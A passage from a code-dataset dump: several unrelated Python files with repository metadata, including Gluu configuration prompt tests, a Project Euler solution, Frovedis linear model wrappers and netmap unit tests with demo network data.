self.assertEqual(rv.content_type, "application/json") self.assertEqual(rv.headers['Access-Control-Allow-Origin'], '*') def tearDown(self): """teardown all initialized variables.""" # Make the tests conveniently executable if __name__ == "__main__": unittest.main()
36.673759
66
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5,171
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0.116779
0.229462
0.173371
0.050992
0.836827
0.833428
0.832578
0.832578
0.832578
0.832578
0
0.02394
0.119513
5,171
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67
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0.751373
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0.193869
0.06449
0
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1
0.056911
false
0
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0
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0
0
0
0
0
0
9
49ac47ece4f0270516ad3ccb8c220aeb7369bc80
7,871
py
Python
tests/terminal/test_configuration.py
danilosoarescardoso/cloud-native-edition
b8aa66119dc4440b1ca3741a4065c9ae7feb42fb
[ "Apache-2.0" ]
1
2021-04-04T04:25:49.000Z
2021-04-04T04:25:49.000Z
tests/terminal/test_configuration.py
danilosoarescardoso/cloud-native-edition
b8aa66119dc4440b1ca3741a4065c9ae7feb42fb
[ "Apache-2.0" ]
null
null
null
tests/terminal/test_configuration.py
danilosoarescardoso/cloud-native-edition
b8aa66119dc4440b1ca3741a4065c9ae7feb42fb
[ "Apache-2.0" ]
null
null
null
import pytest @pytest.mark.parametrize("given, expected", [ ("", "US"), # default ("random", "random"), ]) def test_config_country(monkeypatch, settings, given, expected): from pygluu.kubernetes.terminal.configuration import PromptConfiguration monkeypatch.setattr("click.prompt", lambda x, default: given or expected) settings.set("config.countryCode", "") settings.set("config.state", "TX") settings.set("config.city", "Austin") settings.set("config.email", "support@gluu.org") settings.set("config.orgName", "Gluu") settings.set("config.config.adminPassword", "Admin GUI") settings.set("global.fqdn", "demoexample.gluu.org") settings.set("config.migration.enabled", False) prompt = PromptConfiguration(settings) prompt.prompt_config() assert settings.get("config.countryCode") == expected @pytest.mark.parametrize("given, expected", [ ("", "TX"), # default ("random", "random"), ]) def test_config_state(monkeypatch, settings, given, expected): from pygluu.kubernetes.terminal.configuration import PromptConfiguration monkeypatch.setattr("click.prompt", lambda x, default: given or expected) settings.set("config.countryCode", "US") settings.set("config.state", "") settings.set("config.city", "Austin") settings.set("config.email", "support@gluu.org") settings.set("config.orgName", "Gluu") settings.set("config.config.adminPassword", "Admin GUI") settings.set("global.fqdn", "demoexample.gluu.org") settings.set("config.migration.enabled", False) prompt = PromptConfiguration(settings) prompt.prompt_config() assert settings.get("config.state") == expected @pytest.mark.parametrize("given, expected", [ ("", "Austin"), # default ("random", "random"), ]) def test_config_city(monkeypatch, settings, given, expected): from pygluu.kubernetes.terminal.configuration import PromptConfiguration monkeypatch.setattr("click.prompt", lambda x, default: given or expected) settings.set("config.countryCode", "US") settings.set("config.state", "TX") settings.set("config.city", "") settings.set("config.email", "support@gluu.org") settings.set("config.orgName", "Gluu") settings.set("config.config.adminPassword", "Admin GUI") settings.set("global.fqdn", "demoexample.gluu.org") settings.set("config.migration.enabled", False) prompt = PromptConfiguration(settings) prompt.prompt_config() assert settings.get("config.city") == expected @pytest.mark.parametrize("given, expected", [ ("", "support@gluu.org"), # default ("random", "random"), ]) def test_config_email(monkeypatch, settings, given, expected): from pygluu.kubernetes.terminal.configuration import PromptConfiguration monkeypatch.setattr("click.prompt", lambda x, default: given or expected) settings.set("config.countryCode", "US") settings.set("config.state", "TX") settings.set("config.city", "Austin") settings.set("config.email", "") settings.set("config.orgName", "Gluu") settings.set("config.config.adminPassword", "Admin GUI") settings.set("global.fqdn", "demoexample.gluu.org") settings.set("config.migration.enabled", False) prompt = PromptConfiguration(settings) prompt.prompt_config() assert settings.get("config.email") == expected @pytest.mark.parametrize("given, expected", [ ("", "Gluu"), # default ("random", "random"), ]) def test_config_org(monkeypatch, settings, given, expected): from pygluu.kubernetes.terminal.configuration import PromptConfiguration monkeypatch.setattr("click.prompt", lambda x, default: given or expected) settings.set("config.countryCode", "US") settings.set("config.state", "TX") settings.set("config.city", "Austin") settings.set("config.email", "support@gluu.org") settings.set("config.orgName", "") settings.set("config.config.adminPassword", "Admin GUI") settings.set("global.fqdn", "demoexample.gluu.org") settings.set("config.migration.enabled", False) prompt = PromptConfiguration(settings) prompt.prompt_config() assert settings.get("config.orgName") == expected @pytest.mark.parametrize("given, expected", [ ("", "demoexample.gluu.org"), # default ]) def test_config_hostname(monkeypatch, settings, given, expected): from pygluu.kubernetes.terminal.configuration import PromptConfiguration monkeypatch.setattr("click.prompt", lambda x, default: given or expected) settings.set("config.countryCode", "US") settings.set("config.state", "TX") settings.set("config.city", "Austin") settings.set("config.email", "support@gluu.org") settings.set("config.orgName", "Gluu") settings.set("config.adminPassword", "Admin GUI") settings.set("global.fqdn", "") settings.set("config.migration.enabled", False) prompt = PromptConfiguration(settings) prompt.prompt_config() assert settings.get("global.fqdn") == expected @pytest.mark.parametrize("given, expected", [ ("", "demoexample.gluu.org"), # default ]) def test_config_hostname_2(monkeypatch, settings, given, expected): from pygluu.kubernetes.terminal.configuration import PromptConfiguration monkeypatch.setattr("click.prompt", lambda x, default: given or expected) settings.set("config.countryCode", "US") settings.set("config.state", "TX") settings.set("config.city", "Austin") settings.set("config.email", "support@gluu.org") settings.set("config.orgName", "Gluu") settings.set("config.adminPassword", "Admin GUI") settings.set("global.fqdn", "") settings.set("config.migration.enabled", False) prompt = PromptConfiguration(settings) prompt.prompt_config() assert settings.get("global.fqdn") == expected @pytest.mark.parametrize("given, expected", [ ("", "./ce-migration"), ("migration", "migration") ]) def test_config_migration_dir(monkeypatch, settings, given, expected): from pygluu.kubernetes.terminal.configuration import PromptConfiguration monkeypatch.setattr("click.prompt", lambda x, default: given or expected) settings.set("config.countryCode", "US") settings.set("config.state", "TX") settings.set("config.city", "Austin") settings.set("config.email", "support@gluu.org") settings.set("config.orgName", "Gluu") settings.set("config.adminPassword", "Admin GUI") settings.set("global.fqdn", "demoexample.gluu.org") settings.set("config.migration.enabled", True) settings.set("config.migration.migrationDir", "") prompt = PromptConfiguration(settings) prompt.prompt_config() assert settings.get("config.migration.migrationDir") == expected @pytest.mark.parametrize("given, expected", [ ("", "ldif"), ("ldif", "ldif"), ("couchbase+json", "couchbase+json"), ("spanner+avro", "spanner+avro"), ("postgresql+json", "postgresql+json"), ("mysql+json", "mysql+json") ]) def test_config_migration_dir(monkeypatch, settings, given, expected): from pygluu.kubernetes.terminal.configuration import PromptConfiguration monkeypatch.setattr("click.prompt", lambda x, default: given or expected) settings.set("config.countryCode", "US") settings.set("config.state", "TX") settings.set("config.city", "Austin") settings.set("config.email", "support@gluu.org") settings.set("config.orgName", "Gluu") settings.set("config.adminPassword", "Admin GUI") settings.set("global.fqdn", "demoexample.gluu.org") settings.set("config.migration.enabled", True) settings.set("config.migration.migrationDir", "./ce-migration") settings.set("config.migration.migrationDataFormat", "") prompt = PromptConfiguration(settings) prompt.prompt_config() assert settings.get("config.migration.migrationDataFormat") == expected
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9
49aefc340363da687d7f2e1743089a518751011c
3,062
py
Python
python/p008.py
livioribeiro/project-euler
71f915b1ddad90c3a5b805cad7047cd6e4ce64ed
[ "MIT" ]
2
2015-12-16T18:39:23.000Z
2015-12-19T03:49:07.000Z
python/p008.py
livioribeiro/project-euler
71f915b1ddad90c3a5b805cad7047cd6e4ce64ed
[ "MIT" ]
null
null
null
python/p008.py
livioribeiro/project-euler
71f915b1ddad90c3a5b805cad7047cd6e4ce64ed
[ "MIT" ]
null
null
null
""" The four adjacent digits in the 1000-digit number that have the greatest product are 9 × 9 × 8 × 9 = 5832. 73167176531330624919225119674426574742355349194934 96983520312774506326239578318016984801869478851843 85861560789112949495459501737958331952853208805511 12540698747158523863050715693290963295227443043557 66896648950445244523161731856403098711121722383113 62229893423380308135336276614282806444486645238749 30358907296290491560440772390713810515859307960866 70172427121883998797908792274921901699720888093776 65727333001053367881220235421809751254540594752243 52584907711670556013604839586446706324415722155397 53697817977846174064955149290862569321978468622482 83972241375657056057490261407972968652414535100474 82166370484403199890008895243450658541227588666881 16427171479924442928230863465674813919123162824586 17866458359124566529476545682848912883142607690042 24219022671055626321111109370544217506941658960408 07198403850962455444362981230987879927244284909188 84580156166097919133875499200524063689912560717606 05886116467109405077541002256983155200055935729725 71636269561882670428252483600823257530420752963450 Find the thirteen adjacent digits in the 1000-digit number that have the greatest product. What is the value of this product? """ from functools import reduce import operator CHAR_NUM_DIFF = 48; ADJACENT_DIGITS = 13; THOUSAND_DIGIT_NUMBER = b"""\ 73167176531330624919225119674426574742355349194934\ 96983520312774506326239578318016984801869478851843\ 85861560789112949495459501737958331952853208805511\ 12540698747158523863050715693290963295227443043557\ 66896648950445244523161731856403098711121722383113\ 62229893423380308135336276614282806444486645238749\ 30358907296290491560440772390713810515859307960866\ 70172427121883998797908792274921901699720888093776\ 65727333001053367881220235421809751254540594752243\ 52584907711670556013604839586446706324415722155397\ 53697817977846174064955149290862569321978468622482\ 83972241375657056057490261407972968652414535100474\ 82166370484403199890008895243450658541227588666881\ 16427171479924442928230863465674813919123162824586\ 17866458359124566529476545682848912883142607690042\ 24219022671055626321111109370544217506941658960408\ 07198403850962455444362981230987879927244284909188\ 84580156166097919133875499200524063689912560717606\ 05886116467109405077541002256983155200055935729725\ 71636269561882670428252483600823257530420752963450\ """ if __name__ == '__main__': tdn = list((int(i) - CHAR_NUM_DIFF for i in THOUSAND_DIGIT_NUMBER)) greatest_product = 0 greatest_digits = [] i = 0 while i < len(tdn) - ADJACENT_DIGITS: digits = tdn[i:i + ADJACENT_DIGITS] # skip to the next window that does not contain zero if 0 in digits: i += digits.index(0) + 1 continue product = reduce(operator.mul, digits) if product > greatest_product: greatest_product = product greatest_digits = digits i += 1 print("{} = {}".format(greatest_product, greatest_digits))
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12
49bf828bb3d40c70b7117042ab346ea94ad77ec2
12,347
py
Python
src/foreign_if/python/main/python/frovedis/mllib/linear_model.py
wmeddie/frovedis
c134e5e64114799cc7c265c72525ff98d06b49c1
[ "BSD-2-Clause" ]
null
null
null
src/foreign_if/python/main/python/frovedis/mllib/linear_model.py
wmeddie/frovedis
c134e5e64114799cc7c265c72525ff98d06b49c1
[ "BSD-2-Clause" ]
null
null
null
src/foreign_if/python/main/python/frovedis/mllib/linear_model.py
wmeddie/frovedis
c134e5e64114799cc7c265c72525ff98d06b49c1
[ "BSD-2-Clause" ]
null
null
null
#!/usr/bin/env python from .model_util import * from ..exrpc.rpclib import * from ..exrpc.server import * from ..matrix.ml_data import FrovedisLabeledPoint from ..matrix.dtype import TypeUtil class LogisticRegression: "A python wrapper of Frovedis Logistic Regression" # defaults are as per Frovedis # C (alpha): Frovedis: 0.01, Sklearn: 1.0 # max_iter: Frovedis: 1000, Sklearn: 100 # solver: Frovedis: sag (SGD), Sklearn: liblinear def __init__(cls, penalty='l2', dual=False, tol=1e-4, C=0.01, fit_intercept=True, intercept_scaling=1, class_weight=None, random_state=None, solver='sag', max_iter=1000, multi_class='ovr', verbose=0, warm_start=False, n_jobs=1): cls.penalty = penalty cls.dual = dual cls.tol = tol cls.C = C cls.fit_intercept = fit_intercept cls.intercept_scaling = intercept_scaling cls.class_weight = class_weight cls.random_state = random_state cls.solver = solver cls.max_iter = max_iter cls.multi_class = multi_class cls.verbose = verbose cls.warm_start = warm_start cls.n_jobs = n_jobs # extra cls.__mid = None cls.__mdtype = None cls.__mkind = M_KIND.LRM def fit(cls, X, y, sample_weight=None): cls.release() cls.__mid = ModelID.get() inp_data = FrovedisLabeledPoint(X,y) (X, y) = inp_data.get() dtype = inp_data.get_dtype() itype = inp_data.get_itype() dense = inp_data.is_dense() cls.__mdtype = dtype regTyp = 0 if cls.penalty == 'l1': regTyp = 1 elif cls.penalty == 'l2': reTyp = 2 else: raise ValueError("Invalid penalty is provided: ", cls.penalty) if cls.multi_class == 'ovr': pass elif cls.multi_class == 'multinomial': raise ValueError("Frovedis doesn't support multinomial Logistic Regression currently.") else: raise ValueError("Invalid multi_class input is provided: ", cls.multi_class) (host,port) = FrovedisServer.getServerInstance() sv = ['newton-cg', 'liblinear'] if cls.solver in sv: raise ValueError("Frovedis doesn't support solver %s for Logistic Regression currently." % cls.solver) if cls.solver == 'sag': rpclib.lr_sgd(host,port,X.get(),y.get(),cls.max_iter,cls.C, regTyp,cls.fit_intercept,cls.tol,cls.verbose,cls.__mid,dtype,itype,dense) elif cls.solver == 'lbfgs': rpclib.lr_lbfgs(host,port,X.get(),y.get(),cls.max_iter,cls.C, regTyp,cls.fit_intercept,cls.tol,cls.verbose,cls.__mid,dtype,itype,dense) else: raise ValueError("Unknown solver %s for Logistic Regression." % cls.solver) excpt = rpclib.check_server_exception() if excpt["status"]: raise RuntimeError(excpt["info"]) return cls def predict(cls,X): if cls.__mid is not None: return GLM.predict(X,cls.__mid,cls.__mkind,cls.__mdtype,False) else: raise ValueError("predict is called before calling fit, or the model is released.") def predict_proba(cls,X): if cls.__mid is not None: return GLM.predict(X,cls.__mid,cls.__mkind,cls.__mdtype,True) else: raise ValueError("predict is called before calling fit, or the model is released.") def load(cls,fname,dtype=None): cls.release() cls.__mid = ModelID.get() if dtype is None: if cls.__mdtype is None: raise TypeError("model type should be specified for loading from file!") else: cls.__mdtype = TypeUtil.to_id_dtype(dtype) GLM.load(cls.__mid,cls.__mkind,cls.__mdtype,fname) return cls def save(cls,fname): if cls.__mid is not None: GLM.save(cls.__mid,cls.__mkind,cls.__mdtype,fname) def debug_print(cls): if cls.__mid is not None: GLM.debug_print(cls.__mid,cls.__mkind,cls.__mdtype) def release(cls): if cls.__mid is not None: GLM.release(cls.__mid,cls.__mkind,cls.__mdtype) cls.__mid = None def __del__(cls): if FrovedisServer.isUP(): cls.release() class LinearRegression: "A python wrapper of Frovedis Linear Regression" def __init__(cls, fit_intercept=True, normalize=False, copy_X=True, n_jobs=1, solver='sag', verbose=0): cls.fit_intercept = fit_intercept cls.normalize = normalize cls.copy_X = copy_X cls.n_jobs = n_jobs # extra cls.solver = solver cls.verbose = verbose cls.__mid = None cls.__mdtype = None cls.__mkind = M_KIND.LNRM def fit(cls, X, y, sample_weight=None): cls.release() cls.__mid = ModelID.get() inp_data = FrovedisLabeledPoint(X,y) (X, y) = inp_data.get() dtype = inp_data.get_dtype() itype = inp_data.get_itype() dense = inp_data.is_dense() cls.__mdtype = dtype (host,port) = FrovedisServer.getServerInstance() if cls.solver == 'sag': rpclib.lnr_sgd(host,port,X.get(),y.get(),cls.fit_intercept, cls.verbose,cls.__mid,dtype,itype,dense) elif cls.solver == 'lbfgs': rpclib.lnr_lbfgs(host,port,X.get(),y.get(),cls.fit_intercept, cls.verbose,cls.__mid,dtype,itype,dense) else: raise ValueError("Unknown solver %s for Linear Regression." % cls.solver) excpt = rpclib.check_server_exception() if excpt["status"]: raise RuntimeError(excpt["info"]) return cls def predict(cls,X): if cls.__mid is not None: return GLM.predict(X,cls.__mid,cls.__mkind,cls.__mdtype,False) else: raise ValueError("predict is called before calling fit, or the model is released.") def load(cls,fname,dtype=None): cls.release() cls.__mid = ModelID.get() if dtype is None: if cls.__mdtype is None: raise TypeError("model type should be specified for loading from file!") else: cls.__mdtype = TypeUtil.to_id_dtype(dtype) GLM.load(cls.__mid,cls.__mkind,cls.__mdtype,fname) return cls def save(cls,fname): if cls.__mid is not None: GLM.save(cls.__mid,cls.__mkind,cls.__mdtype,fname) def debug_print(cls): if cls.__mid is not None: GLM.debug_print(cls.__mid,cls.__mkind,cls.__mdtype) def release(cls): if cls.__mid is not None: GLM.release(cls.__mid,cls.__mkind,cls.__mdtype) cls.__mid = None def __del__(cls): if FrovedisServer.isUP(): cls.release() class Lasso: "A python wrapper of Frovedis Lasso Regression" # defaults are as per Frovedis # alpha: Frovedis: 0.01, Sklearn: 1.0 def __init__(cls, alpha=0.01, fit_intercept=True, normalize=False, precompute=False, copy_X=True, max_iter=1000, tol=1e-4, warm_start=False, positive=False, random_state=None, selection='cyclic', verbose=0, solver='sag'): cls.alpha = alpha cls.fit_intercept = fit_intercept cls.normalize = normalize cls.precompute = precompute cls.copy_X = copy_X cls.max_iter = max_iter cls.tol = tol cls.warm_start = warm_start cls.positive = positive cls.random_state = random_state cls.selection = selection # extra cls.verbose = verbose cls.solver = solver cls.__mid = None cls.__mdtype = None cls.__mkind = M_KIND.LNRM def fit(cls, X, y, sample_weight=None): cls.release() cls.__mid = ModelID.get() inp_data = FrovedisLabeledPoint(X,y) (X, y) = inp_data.get() dtype = inp_data.get_dtype() itype = inp_data.get_itype() dense = inp_data.is_dense() cls.__mdtype = dtype (host,port) = FrovedisServer.getServerInstance() if cls.solver == 'sag': rpclib.lasso_sgd(host,port,X.get(),y.get(),cls.max_iter,cls.alpha, cls.fit_intercept,cls.tol,cls.verbose,cls.__mid, dtype,itype,dense) elif cls.solver == 'lbfgs': rpclib.lasso_lbfgs(host,port,X.get(),y.get(),cls.max_iter,cls.alpha, cls.fit_intercept,cls.tol,cls.verbose,cls.__mid, dtype,itype,dense) else: raise ValueError("Unknown solver %s for Lasso Regression." % cls.solver) excpt = rpclib.check_server_exception() if excpt["status"]: raise RuntimeError(excpt["info"]) return cls def predict(cls,X): if cls.__mid is not None: return GLM.predict(X,cls.__mid,cls.__mkind,cls.__mdtype,False) else: raise ValueError("predict is called before calling fit, or the model is released.") def load(cls,fname,dtype=None): cls.release() cls.__mid = ModelID.get() if dtype is None: if cls.__mdtype is None: raise TypeError("model type should be specified for loading from file!") else: cls.__mdtype = TypeUtil.to_id_dtype(dtype) GLM.load(cls.__mid,cls.__mkind,cls.__mdtype,fname) return cls def save(cls,fname): if cls.__mid is not None: GLM.save(cls.__mid,cls.__mkind,cls.__mdtype,fname) def debug_print(cls): if cls.__mid is not None: GLM.debug_print(cls.__mid,cls.__mkind,cls.__mdtype) def release(cls): if cls.__mid is not None: GLM.release(cls.__mid,cls.__mkind,cls.__mdtype) cls.__mid = None def __del__(cls): if FrovedisServer.isUP(): cls.release() class Ridge: "A python wrapper of Frovedis Ridge Regression" # defaults are as per Frovedis # alpha: Frovedis: 0.01, Sklearn: 1.0 def __init__(cls, alpha=0.01, fit_intercept=True, normalize=False, copy_X=True, max_iter=1000, tol=1e-3, solver='sag', random_state=None, verbose=0): cls.alpha = alpha cls.fit_intercept = fit_intercept cls.normalize = normalize cls.copy_X = copy_X cls.max_iter = max_iter cls.tol = tol cls.solver = solver cls.random_state = random_state # extra cls.verbose = verbose cls.__mid = None cls.__mdtype = None cls.__mkind = M_KIND.LNRM def fit(cls, X, y, sample_weight=None): cls.release() cls.__mid = ModelID.get() inp_data = FrovedisLabeledPoint(X,y) (X, y) = inp_data.get() dtype = inp_data.get_dtype() itype = inp_data.get_itype() dense = inp_data.is_dense() cls.__mdtype = dtype sv = ['svd', 'cholesky', 'lsqr', 'sparse_cg'] if cls.solver in sv: raise ValueError("Frovedis doesn't support solver %s for Ridge Regression currently." % cls.solver) (host,port) = FrovedisServer.getServerInstance() if cls.solver == 'sag' or cls.solver == 'auto': rpclib.ridge_sgd(host,port,X.get(),y.get(),cls.max_iter,cls.alpha, cls.fit_intercept,cls.tol,cls.verbose,cls.__mid, dtype,itype,dense) elif cls.solver == 'lbfgs': rpclib.ridge_lbfgs(host,port,X.get(),y.get(),cls.max_iter,cls.alpha, cls.fit_intercept,cls.tol,cls.verbose,cls.__mid, dtype,itype,dense) else: raise ValueError("Unknown solver %s for Ridge Regression." % cls.solver) excpt = rpclib.check_server_exception() if excpt["status"]: raise RuntimeError(excpt["info"]) return cls def predict(cls,X): if cls.__mid is not None: return GLM.predict(X,cls.__mid,cls.__mkind,cls.__mdtype,False) else: raise ValueError("predict is called before calling fit, or the model is released.") def load(cls,fname,dtype=None): cls.release() cls.__mid = ModelID.get() if dtype is None: if cls.__mdtype is None: raise TypeError("model type should be specified for loading from file!") else: cls.__mdtype = TypeUtil.to_id_dtype(dtype) GLM.load(cls.__mid,cls.__mkind,cls.__mdtype,fname) return cls def save(cls,fname): if cls.__mid is not None: GLM.save(cls.__mid,cls.__mkind,cls.__mdtype,fname) def debug_print(cls): if cls.__mid is not None: GLM.debug_print(cls.__mid,cls.__mkind,cls.__mdtype) def release(cls): if cls.__mid is not None: GLM.release(cls.__mid,cls.__mkind,cls.__mdtype) cls.__mid = None def __del__(cls): if FrovedisServer.isUP(): cls.release()
35.479885
111
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Python
test/commonASTtests/py-test-files/callArgs.py
Submitty/AnalysisTools
7cf3c6cba8eedf1f56110f316c2b9ab016546b1b
[ "BSD-3-Clause" ]
6
2017-07-17T13:56:20.000Z
2020-12-07T17:43:33.000Z
test/commonASTtests/py-test-files/callArgs.py
Submitty/AnalysisTools
7cf3c6cba8eedf1f56110f316c2b9ab016546b1b
[ "BSD-3-Clause" ]
13
2016-06-23T22:03:20.000Z
2018-04-01T04:28:42.000Z
test/commonASTtests/py-test-files/callArgs.py
Submitty/AnalysisTools
7cf3c6cba8eedf1f56110f316c2b9ab016546b1b
[ "BSD-3-Clause" ]
5
2016-12-03T17:01:17.000Z
2018-07-29T19:55:45.000Z
def addOne(a): return a+1 def subOne(a): return a-1 a = 0 b = subOne(addOne(a))
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py
Python
tests/test_netmap_lib.py
looran/netmap
5831d25bac1d18eabaa73bd23b2cd63c00a50f7a
[ "0BSD" ]
null
null
null
tests/test_netmap_lib.py
looran/netmap
5831d25bac1d18eabaa73bd23b2cd63c00a50f7a
[ "0BSD" ]
null
null
null
tests/test_netmap_lib.py
looran/netmap
5831d25bac1d18eabaa73bd23b2cd63c00a50f7a
[ "0BSD" ]
null
null
null
#!/usr/bin/env python3 # run only one test: # python -m unittest test_netfoot.Netfoot_log_unittest.test_infos_lookup import sys import unittest from pathlib import Path sys.path.append(str(Path(__file__).resolve().parent.parent / 'lib')) import netmap INPUT_DATA_DIRECTORY = Path(__file__).resolve().parent.parent / 'demo_data' EXPECTED_RESULTS = { 'network1': { 'summary': """== Network 'network1' summary == Nodes: Node cha lo 00:00:00:00:00:00 tcp/22 sshd 127.0.0.1 ::1 vboxnet0 22:22:22:22:22:22 192.168.56.1 fe80::800:27ff:fe00:0 enp0s31f6 55:55:55:55:55:55 192.168.0.3 192.168.0.3:47670 61.200.0.167:443/tcp firefox 192.168.0.3:57400 41.58.204.138:443/tcp Node None None 61.200.0.167 192.168.0.3:47670 61.200.0.167:443/tcp firefox Node None None 41.58.204.138 192.168.0.3:57400 41.58.204.138:443/tcp Streams: 192.168.0.3:47670 61.200.0.167:443/tcp firefox 192.168.0.3:57400 41.58.204.138:443/tcp """, 'map': ([ {'category': 'node', 'isGroup': 'true', 'key': 'cha', 'text': 'cha', 'found_in': 'host_192.168.0.3_cmd_cat_etc_hosts.txt\n' 'host_192.168.0.3_cmd_ip-address-show.txt\n' 'host_192.168.0.3_cmd_ss-anp.txt', }, {'category': 'node_ip', 'group': 'cha', 'key': 'cha_lo_127.0.0.1', 'text': '127.0.0.1', 'found_in': 'host_192.168.0.3_cmd_ip-address-show.txt',}, {'category': 'node_ip', 'group': 'cha', 'key': 'cha_lo_::1', 'text': '::1', 'found_in': 'host_192.168.0.3_cmd_ip-address-show.txt',}, {'category': 'node_ip', 'group': 'cha', 'key': 'cha_vboxnet0_192.168.56.1', 'text': '192.168.56.1', 'found_in': 'host_192.168.0.3_cmd_ip-address-show.txt',}, {'category': 'node_ip', 'group': 'cha', 'key': 'cha_vboxnet0_fe80::800:27ff:fe00:0', 'text': 'fe80::800:27ff:fe00:0', 'found_in': 'host_192.168.0.3_cmd_ip-address-show.txt',}, {'category': 'node_ip', 'group': 'cha', 'key': 'cha_enp0s31f6_192.168.0.3', 'text': '192.168.0.3', 'found_in': 'host_192.168.0.3_cmd_ip-address-show.txt',}, {'category': 'node_ip', 'key': '_None_61.200.0.167', 'text': '61.200.0.167', 'found_in': '',}, {'category': 'node_ip', 'key': '_None_41.58.204.138', 'text': '41.58.204.138', 'found_in': '',}, ], [ {'category': 'stream', 'color': 'rgba(200, 200, 200, 0.52)', 'font': '8pt sans-serif', 'found_in': 'host_192.168.0.3_cmd_ss-anp.txt', 'from': 'cha_enp0s31f6_192.168.0.3', 'text': '47670:443/tcp firefox', 'to': '_None_61.200.0.167', 'traffic_percent': 1}, {'category': 'stream', 'color': 'rgba(200, 200, 200, 0.52)', 'font': '8pt sans-serif', 'found_in': 'host_192.168.0.3_cmd_ss-anp.txt', 'from': 'cha_enp0s31f6_192.168.0.3', 'text': '57400:443/tcp ', 'to': '_None_41.58.204.138', 'traffic_percent': 1} ]), 'statistics': { 'data_gathering_logs': '', 'nodes_count': 3, 'processed_input_file': 3, 'stream_bytes_count_max': 0, 'stream_bytes_count_total': 0, 'stream_packets_count_max': 0, 'stream_packets_count_total': 0, 'streams_count': 2} }, 'k8s_example': { 'summary': """== Network 'k8s_example' summary == Nodes: Node login login-pod-1 lo 00:00:00:00:00:00 127.0.0.1 ::1 vboxnet0 22:22:22:22:22:22 192.168.56.1 fe80::800:27ff:fe00:0 enp0s31f6 55:55:55:55:55:55 192.168.0.3 eth0 55:55:55:55:55:55 10.0.0.1 login None TCP/8080 http-login-page 172.16.0.1 Node login login-pod-2 None None 10.0.0.2 login None TCP/8080 http-login-page 172.16.0.1 Node backend backend-pod-1 dummy None None 10.0.0.21 backend None TCP/3306 mysql TCP/5000 debug TCP/22 172.16.0.2 Node backend backend-pod-2 None None 10.0.0.22 backend None TCP/3306 mysql TCP/5000 debug TCP/22 172.16.0.2 Node backend None None 10.0.0.23 backend None TCP/3306 mysql TCP/5000 debug TCP/22 172.16.0.2 Streams: """, 'map': ([ {"category": "node", "key": "login_login-pod-1", "isGroup": "true", "text": "login\nlogin-pod-1", 'found_in': 'host_192.168.0.3_cmd_ip-address-show.txt\n' 'host_192.168.0.3_cmd_netmap_k8s_services_list.txt'}, {"category": "node_ip", "key": "login_login-pod-1_lo_127.0.0.1", "text": "127.0.0.1", "group": "login_login-pod-1", 'found_in': 'host_192.168.0.3_cmd_ip-address-show.txt', }, {"category": "node_ip", "key": "login_login-pod-1_lo_::1", "text": "::1", "group": "login_login-pod-1", 'found_in': 'host_192.168.0.3_cmd_ip-address-show.txt',}, {"category": "node_ip", "key": "login_login-pod-1_vboxnet0_192.168.56.1", "text": "192.168.56.1", "group": "login_login-pod-1", 'found_in': 'host_192.168.0.3_cmd_ip-address-show.txt',}, {"category": "node_ip", "key": "login_login-pod-1_vboxnet0_fe80::800:27ff:fe00:0", "text": "fe80::800:27ff:fe00:0", "group": "login_login-pod-1", 'found_in': 'host_192.168.0.3_cmd_ip-address-show.txt',}, {"category": "node_ip", "key": "login_login-pod-1_enp0s31f6_192.168.0.3", "text": "192.168.0.3", "group": "login_login-pod-1", 'found_in': 'host_192.168.0.3_cmd_ip-address-show.txt',}, {"category": "node_ip", "key": "login_login-pod-1_eth0_10.0.0.1", "text": "10.0.0.1", "group": "login_login-pod-1", 'found_in': 'host_192.168.0.3_cmd_ip-address-show.txt',}, {"category": "node_ip", "key": "login_login-pod-1_login_172.16.0.1", "text": "172.16.0.1", "group": "login_login-pod-1", 'found_in': 'host_192.168.0.3_cmd_netmap_k8s_services_list.txt',}, {"category": "node", "key": "login_login-pod-2", "isGroup": "true", "text": "login\nlogin-pod-2", 'found_in': 'host_192.168.0.3_cmd_netmap_k8s_services_list.txt',}, {"category": "node_ip", "key": "login_login-pod-2_None_10.0.0.2", "text": "10.0.0.2", "group": "login_login-pod-2", 'found_in': '',}, {"category": "node_ip", "key": "login_login-pod-2_login_172.16.0.1", "text": "172.16.0.1", "group": "login_login-pod-2", 'found_in': 'host_192.168.0.3_cmd_netmap_k8s_services_list.txt', }, {"category": "node", "key": "backend_backend-pod-1_dummy", "isGroup": "true", "text": "backend\nbackend-pod-1\ndummy", 'found_in': 'host_192.168.0.3_cmd_netmap_k8s_services_list.txt', }, {"category": "node_ip", "key": "backend_backend-pod-1_dummy_None_10.0.0.21", "text": "10.0.0.21", "group": "backend_backend-pod-1_dummy", 'found_in': '',}, {"category": "node_ip", "key": "backend_backend-pod-1_dummy_backend_172.16.0.2", "text": "172.16.0.2", "group": "backend_backend-pod-1_dummy", 'found_in': 'host_192.168.0.3_cmd_netmap_k8s_services_list.txt',}, {"category": "node", "key": "backend_backend-pod-2", "isGroup": "true", "text": "backend\nbackend-pod-2", 'found_in': 'host_192.168.0.3_cmd_netmap_k8s_services_list.txt',}, {"category": "node_ip", "key": "backend_backend-pod-2_None_10.0.0.22", "text": "10.0.0.22", "group": "backend_backend-pod-2", 'found_in': '',}, {"category": "node_ip", "key": "backend_backend-pod-2_backend_172.16.0.2", "text": "172.16.0.2", "group": "backend_backend-pod-2", 'found_in': 'host_192.168.0.3_cmd_netmap_k8s_services_list.txt',}, {"category": "node", "key": "backend", "isGroup": "true", "text": "backend", 'found_in': 'host_192.168.0.3_cmd_netmap_k8s_services_list.txt',}, {"category": "node_ip", "key": "backend_None_10.0.0.23", "text": "10.0.0.23", "group": "backend", 'found_in': '',}, {"category": "node_ip", "key": "backend_backend_172.16.0.2", "text": "172.16.0.2", "group": "backend", 'found_in': 'host_192.168.0.3_cmd_netmap_k8s_services_list.txt',}, ], []), 'statistics': { 'data_gathering_logs': '', 'nodes_count': 5, 'processed_input_file': 2, 'stream_bytes_count_max': 0, 'stream_bytes_count_total': 0, 'stream_packets_count_max': 0, 'stream_packets_count_total': 0, 'streams_count': 0} } } class Netmap_lib_unittest(unittest.TestCase): def test_network1(self): self.maxDiff = None networkdir_name = "network1" network_dir = INPUT_DATA_DIRECTORY / networkdir_name nm = netmap.Netmap(network_dir) nm.process() nm.stats.pop('last_modification') # ignore modification date that could change self.assertEqual(EXPECTED_RESULTS[networkdir_name]["summary"], nm.summary()) self.assertEqual(EXPECTED_RESULTS[networkdir_name]["map"], nm.map()) self.assertEqual(EXPECTED_RESULTS[networkdir_name]["statistics"], nm.stats) def test_k8sexample(self): self.maxDiff = None networkdir_name = "k8s_example" network_dir = INPUT_DATA_DIRECTORY / networkdir_name nm = netmap.Netmap(network_dir) nm.process() 